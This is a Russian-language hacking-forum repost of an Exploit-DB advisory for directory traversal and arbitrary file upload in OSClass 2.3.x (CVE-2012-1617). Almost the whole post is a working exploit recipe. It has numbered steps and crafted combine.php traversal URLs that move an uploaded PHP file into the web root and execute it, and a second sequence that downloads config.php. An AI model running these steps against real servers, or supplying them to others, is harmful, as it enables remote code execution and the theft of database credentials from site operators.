Exploit OSClass 2.3.x - Directory Traversal / Arbitrary File Upload

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
36917
Проверка EDB
  1. Пройдено
Автор
FILIPPO CAVALLARIN
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2012-1617
Дата публикации
2012-03-07
OSClass 2.3.x - Directory Traversal / Arbitrary File Upload
Код:
source: https://www.securityfocus.com/bid/52336/info

OSClass is prone to a directory-traversal vulnerability and an arbitrary-file-upload vulnerability.

An attacker can exploit these issues to obtain sensitive information and to upload arbitrary code and run it in the context of the webserver process.

OSClass 2.3.5 is vulnerable; prior versions may also be affected. 

Arbitrary File Upload Vulnerability:

1. Take a php file and rename it .gif (not really needed since OSClass trusts mime type)

2. Upload that file as picture for a new item and get its name (is 5_small.jpg)

3. Change useragent of your browser to: "Mozilla/4.0 (compatible; MSIE 5.0" . (needed to disable gzip encoding in combine.php)

4. Use combine.php to move itself to oc-content/uploads
http://www.example.com/osclass/oc-content/themes/modern/combine.php?type=./../../uploads/combine.php&files=combine.php
now we have a copy of combine.php placed into uploads dir (the same dir where our malicius php file has been uploaded)

5. Use uploads/combine.php to move 5_original.php to /remote.php
http://www.example.com/osclass/oc-content/uploads/combine.php?files=5_original.jpg&type=/../../remote.php


6. Run the uploaded php file
http://www.example.com/osclass/remote.php




Directory Traversal Vulnerability: 

It is possible to download and arbitrary file (ie config.php) under the www root.

1. Change useragent of your browser to: "Mozilla/4.0 (compatible; MSIE 5.0" . (needed to disable gzip encoding)

2. Move combine.php into web root
http://www.example.com/osclass/oc-content/themes/modern/combine.php?type=./../../../combine.php&files=combine.php

3. Run combine to download config.php
http://www.example.com/osclass/combine.php?files=config.php
 
Источник
www.exploit-db.com

Похожие темы